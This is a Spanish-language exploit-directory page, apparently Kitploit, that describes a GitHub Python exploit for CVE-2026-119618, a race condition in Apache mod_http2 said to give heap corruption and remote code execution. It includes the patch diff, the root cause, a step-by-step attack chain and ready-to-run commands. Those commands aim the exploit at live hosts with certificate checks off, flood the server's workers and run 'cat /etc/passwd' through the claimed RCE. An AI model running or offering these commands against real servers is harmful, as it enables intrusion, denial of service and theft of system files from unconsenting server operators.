Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-119618 — Exploit HTTP/2 en Python para CVE-2026-119618, una condición de carrera en las cabeceras de solicitud de mod_http2 que provoca corrupción del heap y RCE en Apache httpd 2.4.55–2.4.70, con un entorno de pruebas Docker. | Kitploit
Herramientas/GitHubGitHub/studiogangster/cve-2026-119618
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebFuzzingSeguridad de RedesTroyano de Acceso Remoto
GitHub
studiogangster/cve-2026-119618

CVE-2026-119618

Exploit HTTP/2 en Python para CVE-2026-119618, una condición de carrera en las cabeceras de solicitud de mod_http2 que provoca corrupción del heap y RCE en Apache httpd 2.4.55–2.4.70, con un entorno de pruebas Docker.

Ver Repositorio
2hace 3 díasAún no revisado
Compartir

CVE-2026-119618 — Apache HTTP Server (mod_http2 / mod_h2)

Ejecución concurrente utilizando un recurso compartido con sincronización incorrecta (CWE-362) en la tabla de encabezados de solicitud HTTP/2 → corrupción del heap → RCE.

CVSS9.8 (Crítica)
Vulnerablehttpd 2.4.55 – 2.4.70, mod_h2 2.0.8 – 2.0.42 independiente
Corregido enhttpd 2.4.71 (publicado el 2026-11-11)
Parche upstream824beab (2.4.x) / 5ed3928 (trunk) — mod_http2: assign_headers update table (#975) (#977)
DescubridoresAnthropic OSS Scanner (ANT-2026-MAPKT6MZ), Google Cloud VRP (Weems / Scannell)

1. El parche upstream (qué cambió)

Una línea en modules/http2/h2_request.c, dentro de assign_headers():

--- a/modules/http2/h2_request.c
+++ b/modules/http2/h2_request.c
@@ -350,7 +350,7 @@ static void assign_headers(request_rec *r, const h2_request *req,
                 /* If we have a content-type, but already seen eos, no more
                  * data will come. Signal a zero content length explicitly.
                  */
-                apr_table_setn(req->headers, "Content-Length", "0");
+                apr_table_setn(r->headers_in, "Content-Length", "0");

Diff completo guardado: references/824beab_mod_http2_assign_headers.patch.

La rama vulnerable solo se ejecuta cuando todas estas condiciones se cumplen para una única solicitud:

  • el método no es CONNECT;
  • la solicitud no tiene cabecera Content-Length;
  • la solicitud tiene una cabecera Content-Type;
  • no_body es verdadero — el cliente ya envió END_STREAM sin trama DATA (no_body == conn_ctx->beam_in == NULL, es decir, el cuerpo de la solicitud nunca se almacenó en búfer porque el flujo llevaba END_STREAM en el momento de las cabeceras).

2. Causa raíz (derivada)

req->headers es la tabla de cabeceras de h2_request. Esa tabla es un recurso compartido con dos propietarios:

  1. hilo c1 (sesión / multiplexor) — la rellena mientras analiza las tramas HEADERS del cliente: h2_stream_add_header() → h2_request_add_header() → h2_request_add_header escribe en req->headers.
  2. hilo c2 (worker) — la consume: h2_mplx → c2_process() → h2_create_request_rec(req, c, …) → assign_headers(r, req, no_body, …).

En el código vulnerable la última escritura del ciclo de vida de la solicitud — apr_table_setn(req->headers, "Content-Length", "0") — ocurría en un hilo worker c2, sobre una tabla en la que el hilo c1 podría seguir escribiendo (la sesión continúa despachando/volcando tramas para ese flujo después de que el worker c2 haya iniciado c2_process). Dos hilos mutando el mismo apr_table_t (rehash de la tabla hash / realloc de elementos) sin bloqueo → corrupción del heap.

r->headers_in, en cambio, se crea al inicio de assign_headers() como apr_table_clone(r->pool, req->headers) — una copia nueva por solicitud en el pool del worker c2, nunca tocada por c1. La corrección simplemente traslada la escritura allí, eliminando la escritura sobre el recurso compartido y la condición de carrera.

3. Cadena de ataque

  1. El atacante abre una conexión HTTP/2 (h2 sobre TLS, o h2c en texto claro) hacia el Apache vulnerable (2.4.55–2.4.70 / mod_h2 2.0.8–2.0.42).
  2. Envía una solicitud que satisface las condiciones de activación anteriores: Content-Type presente, sin Content-Length, indicador END_STREAM establecido en la trama HEADERS (no sigue ningún cuerpo).
  3. El worker c2 que procesa esa solicitud ejecuta el vulnerable apr_table_setn(req->headers, …) mientras el hilo c1 está accediendo concurrentemente al mismo req->headers.
  4. Mutación concurrente de apr_table sin sincronización → corrupción del heap → RCE (o DoS si la corrupción es benigna / ASLR es hostil).
  5. Para forzar el solapamiento de forma fiable, el exploit lanza muchos flujos h2 concurrentes en la misma conexión: unos pocos flujos disparadores (la solicitud manipulada) más una inundación de solicitudes simples que ocupan los demás workers c2, de modo que el lado c1 está ocupado mientras el worker c2 ejecuta la escritura vulnerable.

Observable en un servidor en vivo: un flujo recibe RST_STREAM, la conexión recibe un GOAWAY, o la conexión se cae a mitad de la ráfaga (un fallo). Un servidor 2.4.71 parcheado responde a la misma solicitud única con normalidad — por eso el modo --verify es una prueba de humo y el modo ráfaga es lo que fuerza la carrera.

4. El exploit

cve_2026_119618_exploit.py — Python puro, controla la máquina de estados HTTP/2 con el paquete h2 (sin dependencias de C). En cada ronda abre una conexión, negocia h2 (ALPN) o h2c, y lanza una ráfaga compacta de flujos triggers + flood en un único sendall() para que todas las tramas HEADERS (cada una con END_STREAM) lleguen al servidor de forma consecutiva; después vigila RST / GOAWAY / EOF.

Funciona en cualquier Apache vulnerable con h2 habilitado — sin CGI personalizado, sin configuración especial del servidor. El RST/EOF es la firma de la corrupción; la opción --cmd es opcional (para prueba de RCE en un entorno de pruebas con un endpoint RCE).

El exploit decodifica las CABECERAS de respuesta con un decodificador hpack en bruto (mantenido separado del decodificador interno de la librería h2, que almacena en búfer los frames hasta que el stream se cierra mediante END_STREAM — un frame que el mod_h2 de Apache a menudo no envía en la respuesta CGI a prueba de RCE). Así es como la prueba de RCE X-Cmd-Out se captura de forma fiable, incluso cuando la máquina de estados de la librería h2 nunca emite ResponseReceived.

pip install h2

# h2 over TLS (most live servers). Cert verification is skipped by default
# (good for self-signed / wildcard certs); pass --cert-verify to verify.
python3 cve_2026_119618_exploit.py -H example.com -p 443 --tls \
    --triggers 5 --flood 32 --rounds 500 -v

# cleartext h2c (e.g. a local test build or a server with h2c enabled)
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 8080 --h2c \
    --triggers 5 --flood 32 --rounds 1000 -v

# auto-negotiate: try h2c first, fall back to h2-over-TLS
python3 cve_2026_119618_exploit.py -H example.com -p 443 --auto \
    --triggers 5 --flood 32 --rounds 500 -v

# patched/vulnerable smoke test: one quiet trigger, no burst
python3 cve_2026_119618_exploit.py -H example.com -p 443 --tls --verify

# RCE proof (for a test rig with an RCE-endpoint CGI): the command is passed
# in the X-Cmd header (keeping the trigger bodyless, as the CVE requires),
# and the output is returned in the X-Cmd-Out response header.
# --extra-headers pads the trigger with dummy headers to force apr_table
# rehashes (widening the c1/c2 race window); --conns fires N parallel
# connections per wave to saturate the c2 worker pool.
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 443 --tls \
    --trigger-path /cgi-bin/rce-cgi --cmd 'cat /etc/passwd' \
    --triggers 10 --flood 32 --extra-headers 32 --conns 16 --rounds 200 -v

# STANDARD mode: the target is a plain Apache with NO rce-cgi / no ScriptAlias
# (a live box you haven't instrumented). Proves RCE via the corruption
# signature (RST/EOF) instead of X-Cmd-Out. The trigger and flood both hit a
# normal path (default "/").
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 8443 --tls --standard \
    --triggers 10 --flood 32 --extra-headers 32 --conns 16 --rounds 500 -v
Descargar herramienta

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 El kit de herramientas OSINT definitivo: grafo de investigación, puntuación de confianza, familias de alias, mapa, línea de tiempo e informes. 49 módulos, más de 400 sitios, sin necesidad de claves API.

    755
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicación de Ejecución con un Solo Toque GhostLock (CVE-2026-43499)

    510
  • 3

    ARTEX

    baarai/artex

    Plataforma de pruebas de penetración autónoma multiagente basada en LLM con agentes planificadores/trabajadores, grafos de activos y de exploración, registro de tráfico MITM y reevaluación de vulnerabilidades.

    415
  • 4

    redforge

    cybersecurity91/redforge

    Kit de herramientas de red team del lado del navegador con 102 herramientas offline para reconocimiento, generación de payloads, ataques de credenciales, criptografía, codificación y elaboración de informes de compromiso.

    343
  • 5

    antifox

    antifox-ai/antifox

    Plataforma de pruebas de penetración autónoma con múltiples agentes de IA que ejecuta reconocimiento, descubrimiento de superficie de ataque, validación de explotación y entrega de informes respaldados por evidencia.

    259
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    El sistema de acción para la ciberseguridad nativa de IA—donde la intención se convierte en ejecución gobernada, la evidencia se convierte en memoria operativa y cada operación mejora la siguiente.

    258

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →